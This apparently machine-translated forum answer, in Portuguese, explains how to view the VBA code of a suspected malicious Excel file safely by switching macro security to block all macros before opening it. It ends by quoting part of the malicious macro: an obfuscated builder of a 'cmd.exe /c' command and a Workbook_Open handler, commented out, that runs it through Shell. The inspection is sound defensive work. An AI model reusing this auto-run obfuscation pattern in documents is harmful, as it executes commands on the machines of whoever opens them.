Enquanto as respostas de Mokubai e hBy2Py parecem ótimas e permitem que você mostre o VBA Editor, parece que pelo menos no Excel do Microsoft Office Professional Plus 2016 ainda não permite ver o código.
Por acaso eu possuo essa versão, e tenho certeza de que recebi um XLS malicioso e queria inspecioná-lo. Depois de abri-lo no Excel, ele foi aberto no modo de segurança como de costume e, é claro, eu não tinha intenção de dispensar esse modo. Quando abri o VBA Editor como outros entrevistados indicaram, fui apresentado a ... Editor VBA vazio . O painel "Explorador de projetos" exibiu utilmente "Nenhum projeto aberto" apesar de eu ainda não ter fechado o arquivo XLS. Apenas para testar, eu abri o segundo documento (um dos meus trabalhos) e ele apareceu imediatamente no VBA Editor e estava (propriamente) totalmente desprovido de qualquer VBA. No entanto, o documento da internet não foi listado no VBA Editor .
Eu perdi algum tempo tentando descobrir por que isso é assim, e não encontrei razão. Parece que minha edição do Excel simplesmente não envia módulos do VBA para o Editor do VBA quando o documento é carregado no modo de segurança. Infelizmente, o VBA Editor carece de algum recurso "VBA aberto do Office Document", portanto fica claro que o Excel é o cérebro aqui e tem que descompactar / decodificar / qualquer que seja o XLS primeiro.
A solução acabou sendo bem simples.
- Clique em
Ribbon
- > Developer
- > MacroSecurity
- alternativamente,
File
- > Options
- > SecurityCenter
(último grupo de opções) - > Settings
- > Macros
)
- Lembre-se (ou anote) quais são as configurações atuais
- Altere-os para "Bloquear todas as macros sem notificação"
- Confirme, feche, reabra o documento, reabra o Editor do VBA
- Restaurar original as configurações enquanto você terminou de brincar com fogo
Efeitos:
- a notificação não foi exibida
- o documento foi totalmente carregado
- nenhuma macro foi executada
- VBA Editor pegou os módulos e apresentou todo o código
Caso você esteja curioso: sim, de fato foi um exemplo pequeno e malicioso:
Function marcopoloko()
marcopoloko = Left("CM to inches converter", 2) + Right("fed.ex", 4) + "e " + "/c" + numneroop + amagilocard
End Function
'Sub Workbook_Open()
'If xlTickMarkOutside > 0 Then
'Shell marcopoloko + """", xlXmlExportSuccess
'End If
'End Sub
BTW. Como você pode ver, eu imediatamente comentei o ponto de entrada e salvei novamente o documento, caso eu permita que as macros sejam executadas em algum momento posterior.